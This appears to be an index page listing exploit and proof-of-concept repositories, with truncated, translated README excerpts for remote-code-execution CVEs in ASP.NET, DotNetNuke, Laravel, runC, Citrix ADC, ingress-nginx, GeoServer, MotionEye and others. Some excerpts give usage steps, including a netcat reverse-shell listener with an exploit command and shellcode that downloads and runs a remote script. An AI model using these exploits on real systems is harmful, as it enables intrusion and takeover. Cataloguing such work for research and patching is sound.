CVE-2025-30406

CVE-2025-30406 Эксплойт PoC для ViewState Обзор Этот скрипт Proof-of-Concept PoC демонстрирует эксплуатацию десериализации ViewState для CVE-2025-30406 в ASP.NET приложениях. Он использует ysoserial для генерации вредоносной полезной нагрузки ViewState и отправляет её на указанный URL для...

CVE-2017-9822

CVE-2017-9822 Десериализация Cookie DotNetNuke и удаленное выполнение кода RCE Версии DotNetNuke DNN с 5.0.0 по 9.3.0 подвержены уязвимости десериализации, приводящей к удаленному выполнению кода RCE. DotNetNuke использует cookie DNNPersonalization для хранения параметров персонализации анонимных...

CVE-2022-20699

CVE-2022-20699 🎧 Proposé par Audiobahn Cisco Anyconnect VPN unauth RCE rwx stack ce n'est pas bien vérifié...

CVE-2022-27925-PoC

CVE-2022-27925-PoC Zimbra RCE 간단한 poc...

CVE-2021-3129_exploit

CVE-2021-3129exploit Эксплойт для CVE-2021-3129 Настройка лаборатории: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Использование: $ git clone...

CVE-2026-6433

CVE-2026-6433 — Доказательство концепции FlipperCode — Custom CSS, JS & PHP · Неаутентифицированная SQL-инъекция → RCE через eval Затронуто: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · поверхность атаки плагина WordPress через admin-ajax.php Краткий обзор Пункт| Описание ---|--- Вектор|...

RunC-CVE-2019-5736

RunC-CVE-2019-5736 Два PoC для CVE-2019-5736. См. Twistlock Labs с объяснением CVE-2019-5736 и PoC. PoC вредоносного образа во многом основан на PoC от q3k, так что вся заслуга принадлежит ему. Запуск PoC Обратите внимание, что запуск PoC перезапишет бинарный файл runc на хосте. Рекомендуется...

CVE-2024-9264

CVE-2024-9264 Grafana Injection SQL DuckDB après authentification RCE, Lecture de fichiers Preuve de concept PoC Cette PoC démontre l'exploitation de CVE-2024-9264 en utilisant un utilisateur authentifié pour exécuter une requête SQL DuckDB et lire un fichier arbitraire sur le système de fichiers...

CVE-2023-38831-WinRAR-Vulnerability-Analysis

CVE-2023-38831-WinRAR-Vulnerability-Analysis Этот проект представляет собой исследовательский проект в области кибербезопасности, посвящённый анализу CVE-2023-38831 — критической уязвимости WinRAR, которая позволяет злоумышленникам выполнять вредоносный код с помощью специально созданных архивных...

CVE-2022-2992

CVE-2022-2992 Аутентифицированное удаленное выполнение команд в GitLab через импорт из GitHub. Уязвимость в GitLab CE/EE, затрагивающая все версии с 11.10 до 15.1.6, все версии начиная с 15.2 до 15.2.4, все версии начиная с 15.3 до 15.3.2. позволяет аутентифицированному пользователю добиться...

CVE-2022-22965-PoC

CVE-2022-22965 PoC Минимальный пример воспроизведения уязвимости CVE-2022-22965 Spring RCE. Запуск с помощью docker compose 1. Соберите приложение с помощью Docker compose docker-compose up --build 2. Для проверки приложения перейдите по адресу...

CVE-2025-21298

Содержание Это доказательство концепции для CVE-2025-21298 - Уязвимость удаленного выполнения кода в Windows OLE CVSS 9.8. Это доказательство концепции повреждения памяти , а не эксплойт. Полный дифф патча через ghidriff: ССЫЛКА уязвимость Уязвимость находится в ole32.dll!UtOlePresStmToContentsSt...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 Cet exploit utilise des adresses et du shellcode pour Citrix VPX 13.1-48.47. Pour l'article complet, cliquez ici. Utilisation NASM est requis pour construire le shellcode. $ sudo apt install nasm Le shellcode inclus télécharge et exécute un script shell depuis un...

CVE-2025-1974

README 말은 싸다, 그냥 코드를 보라. 자세한 내용은 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities 에서 확인할 수 있습니다. 사용법 1. shell.c에서 IP를 변경하세요. 2. docker가 사용 가능한지 확인하고 make shell.so를 실행하세요. nginx-ingress-controller는 musl-libc 기반이므로, alpine에서 so를 빌드해야 동작할 수 있습니다. 3. 셸을 얻으려면 python3 exploit.py를 실행하세요...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-Remote-Code-Execution cve-2018-1133: удалённое выполнение кода в Moodle при аутентификации в качестве учителя...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 Удаленная служба рабочего стола RDP удаленное выполнение кода уязвимость CVE-2019-0708...

GeoServer-CVE-2024-36401

GeoServer-CVE-2024-36401 GeoServer CVE-2024-36401: Vulnérabilité d'exécution de code à distance RCE dans l'évaluation des expressions de noms de propriétés GetPropertyValue POST /geoserver/wfs HTTP/1.1 Host: PunitDarji Content-Type: application/xml User-Agent: Mozilla/5.0 Windows NT 10.0; Win64;...

CVE-2024-31666

Обзор уязвимости В Flusity-CMS v.2.33 существует уязвимость, позволяющая удалённому злоумышленнику выполнить произвольный код в компоненте editaddonpost.php с помощью специально сформированного скрипта. Затронутые версии Flusity-CMS v.2.33 Детали уязвимости Злоумышленник может воспользоваться это...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Une vulnérabilité critique d'exécution de code à distance RCE dans MCPJam Inspector 3. Lancer l'exploit python3 CVE-2026-23744.py -u -i -p 4. Pour une meilleure utilisation, je recommande de mettre à jour le terminal vers un terminal pleinement...

CVE-2025-60787_PoC

CVE-2025-60787 – MotionEye RCE Аутентифицированное RCE в MotionEye = 0.43.1b4 через обход проверки на стороне клиента в поле imagefilename. Использование nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Флаги Флаг| Описание ---|--- -t| Целевой хост/URL по...